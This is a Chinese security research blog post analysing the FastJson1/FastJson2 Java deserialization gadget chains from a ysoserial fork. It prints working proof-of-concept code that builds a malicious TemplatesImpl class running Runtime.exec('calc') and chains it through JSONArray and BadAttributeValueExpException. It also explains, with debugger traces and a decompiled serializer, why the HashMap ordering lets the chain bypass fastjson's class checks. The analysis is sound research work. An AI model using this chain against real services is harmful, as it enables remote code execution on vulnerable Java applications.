前言
写这篇文章的起因是在二开ysoserial的时候突然发现在Y4er师傅的ysoserial当中有两条关于FastJson的利用链,分别是FastJson1&FastJson2但是这两条利用链都不是像之前分析fastjson利用链一样,之前的利用链分析的是fastjson在解析json格式的数据时,通过构造恶意的json数据来对fastjson进行攻击,期间会涉及到1.2.24-1.2.80等不同版本的绕过以及额外数据包的依赖。而这里的FastJson1&FastJson2是利用FasJson当中某些函数的调用关系,结合java原生反序列化来对目标应用进行攻击的一种方式。
漏洞环境
fastjson1.2.83&fastjson2.x
利用链分析
我先给出我所使用的测试版payload,其大部分内容源自Y4er/ysoserial,我只是从payload当中截取出了一部分内容作为我的测试代码,并加入了一些必须的代码段,如下所示:
public
class
FastJson2
{
public
static
byte
[]
getTemplates
(
) throws IOException, CannotCompileException, NotFoundException
{
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass(
"Test"
);
ctClass.setSuperclass(classPool.
get
(
"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
));
String block =
"Runtime.getRuntime().exec("calc");"
;
ctClass.makeClassInitializer().insertBefore(block);
return
ctClass.toBytecode();
}
public
static
void
setFieldValue
(
Object obj,String name, Object
value
) throws Exception
{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(
true
);
field.
set
(obj,
value
);
}
public
static
void
main
(
String[] args
) throws Exception
{
byte
[] code = getTemplates();
//装载Templates
TemplatesImpl template2 =
new
TemplatesImpl();
TemplatesImpl template =
new
TemplatesImpl();
setFieldValue(template,
"_bytecodes"
,
new
byte
[][] {code});
setFieldValue(template,
"_name"
,
"Evil"
);
JSONArray jsonArray =
new
JSONArray();
jsonArray.
add
(template);
BadAttributeValueExpException badAttributeValueExpException =
new
BadAttributeValueExpException(
null
);
setFieldValue(badAttributeValueExpException,
"val"
, jsonArray);
HashMap hashMap =
new
HashMap();
// hashMap.put(badAttributeValueExpException,template);
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr =
new
ByteArrayOutputStream();
ObjectOutputStream oos =
new
ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois =
new
ObjectInputStream(
new
ByteArrayInputStream(barr.toByteArray()));
System.
out
.println(barr.toByteArray()[
1522
]);
try
{
Object o = ois.readObject();
}
catch
(Exception e){
}
}
}
我们可以直接将断点打到TemplatesImpl对象的newTransformer()上面,因为如果该利用链想要动态加载类的话,就必须要经过这个函数。由此我们可以得到一个完整的利用链,如下所示:
at
com
.sun
.org
.apache
.xalan
.internal
.xsltc
.trax
.TemplatesImpl
.newTransformer
(
TemplatesImpl
.java
:486)
at
com
.sun
.org
.apache
.xalan
.internal
.xsltc
.trax
.TemplatesImpl
.getOutputProperties
(
TemplatesImpl
.java
:507)
at
com
.alibaba
.fastjson
.serializer
.ASMSerializer_1_TemplatesImpl
.write
(
Unknown
Source
)
at
com
.alibaba
.fastjson
.serializer
.ListSerializer
.write
(
ListSerializer
.java
:135)
at
com
.alibaba
.fastjson
.serializer
.JSONSerializer
.write
(
JSONSerializer
.java
:312)
at
com
.alibaba
.fastjson
.JSON
.toJSONString
(
JSON
.java
:1077)
at
com
.alibaba
.fastjson
.JSON
.toString
(
JSON
.java
:1071)
at
javax
.management
.BadAttributeValueExpException
.readObject
(
BadAttributeValueExpException
.java
:86)
at
java
.util
.HashMap
.readObject
(
HashMap
.java
:1404)
at
java
.io
.ObjectInputStream
.readObject
(
ObjectInputStream
.java
:422)
BadAttributeValueExpException对象事实上并不陌生,在rome利用链当中就曾出现过它的身影,当时的目的是通过它的readObject方法调用ToStringBean的toString方法,从而引发rome利用链。在这里val字段的值是一个JSONArray对象,所以会调用JSONArray的toString方法。但是由于JSONArray本身并没有toString方法,这里会直接调用JSON的ToString方法(JSONArray extends JSON)
在JSON的ToString会调用自身的toJSONString方法,而toJSONString方法能够调用任意类的getter方法,从而实现了getOutputProperties方法的调用,如下是toJSONString方法
toJsonString是如何实现getter的调用的?
这就要谈到ASM在FastJson当中的应用,Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,比如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考[4]-[6]。
比如说,这一部分的函数调用从JSONSerializer.write到ListSerializer.write,然后在ListSerializer.write生成了一个反序列化工具类并赋给了itemSerializer。这一部分我们也可以从下面的变量界面看到,它为TemplatesImpl类创建了一个反序列化工具类(ASMSerializer_1_TemplatesImpl)。最后调用的write方法也是调用这个动态生成的类里面的方法,也就是在这个类里面调用的任意类的getter方法。
我们在调试当中没有办法看到动态生成的代码具体内容,所以这里我选择使用arthas工具来把这个类dump下来。其他方式可以参考[5] 为此我们需要在我们的测试代码当中加入一段自循环,让这个程序进程能够让arthas监控到。
public
static
void
main
(
String[] args
) throws Exception
{
byte
[] code = getTemplates();
//装载Templates
TemplatesImpl template2 =
new
TemplatesImpl();
TemplatesImpl template =
new
TemplatesImpl();
setFieldValue(template,
"_bytecodes"
,
new
byte
[][] {code});
setFieldValue(template,
"_name"
,
"Evil"
);
JSONArray jsonArray =
new
JSONArray();
jsonArray.
add
(template);
BadAttributeValueExpException badAttributeValueExpException =
new
BadAttributeValueExpException(
null
);
setFieldValue(badAttributeValueExpException,
"val"
, jsonArray);
HashMap hashMap =
new
HashMap();
// hashMap.put(badAttributeValueExpException,template);
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr =
new
ByteArrayOutputStream();
ObjectOutputStream oos =
new
ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois =
new
ObjectInputStream(
new
ByteArrayInputStream(barr.toByteArray()));
System.
out
.println(barr.toByteArray()[
1522
]);
try
{
Object o = ois.readObject();
}
catch
(Exception e){
}
while
(
true
){}
}
启动arthas之后,然后将arthas attach到目标进程上面
然后使用jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl把这个类的内容dump下来,结果如下:这个类的内容很长,这里只保留write函数
Location:
/D:/Java_Tools/apache-maven-
3.8
.8/mvn_repo/com/alibaba/fastjson/
1.2
.83/fastjson-
1.2
.83.jar
/*
* Decompiled with CFR.
*/
package
com.alibaba.fastjson.serializer;
import
com.alibaba.fastjson.serializer.JSONSerializer;
import
com.alibaba.fastjson.serializer.JavaBeanSerializer;
import
com.alibaba.fastjson.serializer.ObjectSerializer;
import
com.alibaba.fastjson.serializer.SerialContext;
import
com.alibaba.fastjson.serializer.SerializeBeanInfo;
import
com.alibaba.fastjson.serializer.SerializeWriter;
import
com.alibaba.fastjson.util.ASMUtils;
import
com.sun.org.apache.xalan.
internal
.xsltc.DOM;
import
com.sun.org.apache.xalan.
internal
.xsltc.trax.TemplatesImpl;
import
java.io.IOException;
import
java.lang.reflect.Type;
import
java.util.Properties;
public
class
ASMSerializer_1_TemplatesImpl
extends JavaBeanSerializer
implements ObjectSerializer {
public
Type outputProperties_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.
class
,
"getOutputProperties"
);
public
ObjectSerializer outputProperties_asm_ser_;
public
Type stylesheetDOM_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.
class
,
"getStylesheetDOM"
);
public
ObjectSerializer stylesheetDOM_asm_ser_;
public
ASMSerializer_1_TemplatesImpl(SerializeBeanInfo serializeBeanInfo) {
super
(serializeBeanInfo);
}
public
void write(JSONSerializer jSONSerializer, Object
object
, Object object2, Type type, int n) throws IOException {
ObjectSerializer objectSerializer;
if
(
object
==
null
) {
jSONSerializer.writeNull();
return
;
}
SerializeWriter serializeWriter = jSONSerializer.
out
;
if
(!
this
.writeDirect(jSONSerializer)) {
this
.writeNormal(jSONSerializer,
object
, object2, type, n);
return
;
}
if
(serializeWriter.isEnabled(
32768
)) {
this
.writeDirectNonContext(jSONSerializer,
object
, object2, type, n);
return
;
}
TemplatesImpl templatesImpl = (TemplatesImpl)
object
;
if
(
this
.writeReference(jSONSerializer,
object
, n)) {
return
;
}
if
(serializeWriter.isEnabled(
0x200000
)) {
this
.writeAsArray(jSONSerializer,
object
, object2, type, n);
return
;
}
SerialContext serialContext = jSONSerializer.getContext();
jSONSerializer.setContext(serialContext,
object
, object2,
0
);
int n2 =
123
;
String string =
"outputProperties"
;
Object object3 = templatesImpl.getOutputProperties();
if
(object3 ==
null
) {
if
(serializeWriter.isEnabled(
964
)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(
0
,
0
);
n2 =
44
;
}
}
else
{
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if
(object3.getClass() == Properties.
class
) {
if
(
this
.outputProperties_asm_ser_ ==
null
) {
this
.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.
class
);
}
if
((objectSerializer =
this
.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string,
this
.outputProperties_asm_fieldType,
0
);
}
else
{
objectSerializer.write(jSONSerializer, object3, string,
this
.outputProperties_asm_fieldType,
0
);
}
}
else
{
jSONSerializer.writeWithFieldName(object3, string,
this
.outputProperties_asm_fieldType,
0
);
}
n2 =
44
;
}
string =
"stylesheetDOM"
;
if
(!serializeWriter.isEnabled(
0x2000000
)) {
object3 = templatesImpl.getStylesheetDOM();
if
(object3 ==
null
) {
if
(serializeWriter.isEnabled(
964
)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(
0
,
0
);
n2 =
44
;
}
}
else
{
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if
(object3.getClass() == DOM.
class
) {
if
(
this
.stylesheetDOM_asm_ser_ ==
null
) {
this
.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.
class
);
}
if
((objectSerializer =
this
.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string,
this
.stylesheetDOM_asm_fieldType,
0
);
}
else
{
objectSerializer.write(jSONSerializer, object3, string,
this
.stylesheetDOM_asm_fieldType,
0
);
}
}
else
{
jSONSerializer.writeWithFieldName(object3, string,
this
.stylesheetDOM_asm_fieldType,
0
);
}
n2 =
44
;
}
}
string =
"transletIndex"
;
int n3 = templatesImpl.getTransletIndex();
serializeWriter.writeFieldValue((char)n2, string, n3);
n2 =
44
;
if
(n2 ==
123
) {
serializeWriter.write(
123
);
}
serializeWriter.write(
125
);
jSONSerializer.setContext(serialContext);
}
...........
............
...........
}
从上面的write函数当中,我们就能够看到它依次调用了所有的getter方法。
关于payload当中的未解之谜
fastjson1&fastjson2利用链当中,我们可以发现其中有一个行payload构造如下
hashMap.put(
template
, badAttributeValueExpException);
//payload1,下文涉及该payload的内容,均写为payload1
按照调用关系来讲,我们完全可以写成如下的形式:([something]是指任意对象)
hashMap.put([somthing], badAttributeValueExpException);//payload2,下文涉及该payload的内容,均写为payload2
但是我们发现不行,程序在运行过程中会抛出InvocationTargetException异常,从而造成程序没有办法按照预期的逻辑走到TemplatesImpl当中的getOutputPorperties(),它的构造形式必须是hashMap.put(template, badAttributeValueExpException)更换位置、改变对象都无法使payload正常生效。
出错的原因
如下是我的调试过程:
这里经过了很多遍调试最终锁定的问题出现位置是badAttributeValueExpException的readobject,这时候前面的template已经处理完了。单步进入第一行的readFields().
然后跟着程序执行逻辑走到getField.readFields()当中,单步进入getField.readFields()
然后走到readobject0(),单步进入该函数
在readObejct0函数当中会进行字段类型的判断,当中字段的类型是Obejct类型的时候就会进入TC_Object分支,这里我们的字段是JsonArray
单步进入readOrdinaryObject函数,往下走会走到readSerialData函数的调用处,单步进入该函数
在该函数当中会对字段的内容进行反序列化操作,会经过一系列的函数调用,其目的是调用该字段类的readobject方法
单步进入invokeReadObject方法
经过如下的一些列函数调用,最终的目的地就是JsonArray的readObejct()方法。invokeReadObject->readObjectMethod.invoke->DelegatingMethodAccessorImpl.invoke->delegate.invoke->invoke0
最终到达目的地调用JsonArray的readObejct方法,该函数方法里面会调用defaultReadObject()方法,单步进入该方法
在defaultReadObject()方法当中其实就是又来一遍之前的内容,从readFields函数调用开始从走一遍,只不过这里调用的方法是defaultReadFields()
这里的嵌套调用是ArrayList类型的字段,这里的逻辑就会通过层层调用方法,想要去反射调用ArrayList的readObject方法
在ArrayListreadObject的最后,会调用一次readObject方法,这一次调用的目标对象是TemplatesImpl,这个我们从payload对象的构造上就能够获知
它的readObject方法同理也是需要经过多次反复调用,最终通过invoke方法进行反射调用,最终的代码段如下所示,该代码段位于TemplatesImpl#readObject内部,其会调用ois的readFields进行字段读取,就像之前梳理其他字段的过程一样
我们直接来到处理最关键字段的过程(我们写入的字节流对象),他首先从我们输入的序列化字节流当中拿到了对应的类型为TC_Array
单步进入readArray当中进行处理
然后单步进入ObjectInputStream#readClassDesc()
然后单步进入readNonProxyDesc(),如下所示,readDesc对象在处理当中被赋值为了序列化的字节数组对象(_bytecodes)
单步进入resolveClass,问题就出现在这里,整个程序的运行逻辑会从这里直接断开抛出异常,这里的[[B类型通过前面的判断之后走到最下面的TypeUtils.getClassFromMapping()的时候已经成为了B,此时调用的resolveClass是JSONObject#resolveClass
很显然在fastjson的checkautotype当中B这种序列化后的类型表示是并不存在的,所以直接返回报了错
问题一:badAttributeValueExpException当中的template无法正常识别,为什么外面的template能正常解析呢?
经过调试后发现,他们所调用的resolveClass()并不是同一个resolveClass(),如果把TemplatesImpl放在前面,就像下面这样
hashMap.put(
template
, badAttributeValueExpException);
那么在处理第一个部分的template对象的时候调用的是ObjectInputStream#resolveClass(),如下图所示
这个resolveClass什么都不管直接把输入进来的类型直接放到forName里面去找,然后返回对应的类型,所以他完全可以正常执行,而不影响到后面
问题二:既然badAttributeValueExpException当中的template不能正常解析,按理来说前一个payload1也不能执行,但是为什么可以正常执行?
答案是存在绕过现象,在之前的流程分析当中,我们大致可以理清ois对于readObject的一些处理流程,他会调用readFields()函数来对对象中的字段进行读取。而readFields里面就发生了绕过的现象,他会从我们的序列化字节流里面去拿到对应的标识tc,在之前出现过TC_Object,TC_Array等等不同的类型。
但是如果使用的是第一个payload也就是正确的payload的时候,在处理JSONArray里面的template的时候,它所获得的TC标识并不是TC_Obejct而是TC_Reference
TC_REFERENCE,是一个引用类型。从前面的几个结构可以看出来,序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。
所以正是前面出现过的template,使得后续ois在处理反序列化字节流的时候,直接形成了绕过,引用了前面已经反序列化好的template对象,避免了由于B类型没法正常识别而造成的异常。
总结
首先是被嵌套在JSONArray里面的template对象,由于JSONObject#resolve()无法正常解析B类型的缘故,所以造成payload2无法正常执行,其次是前一个template对象在ObjectInputStream#resolveClass的作用下成功解析,并协助后面的JSONArray里面的template绕过了审查。
参考文章
https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/
https://www.163.com/dy/article/DMAD0T6P05119F6V.html
原文始发于微信公众号(七芒星实验室):FastJson1&FastJson2反序列化利用链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论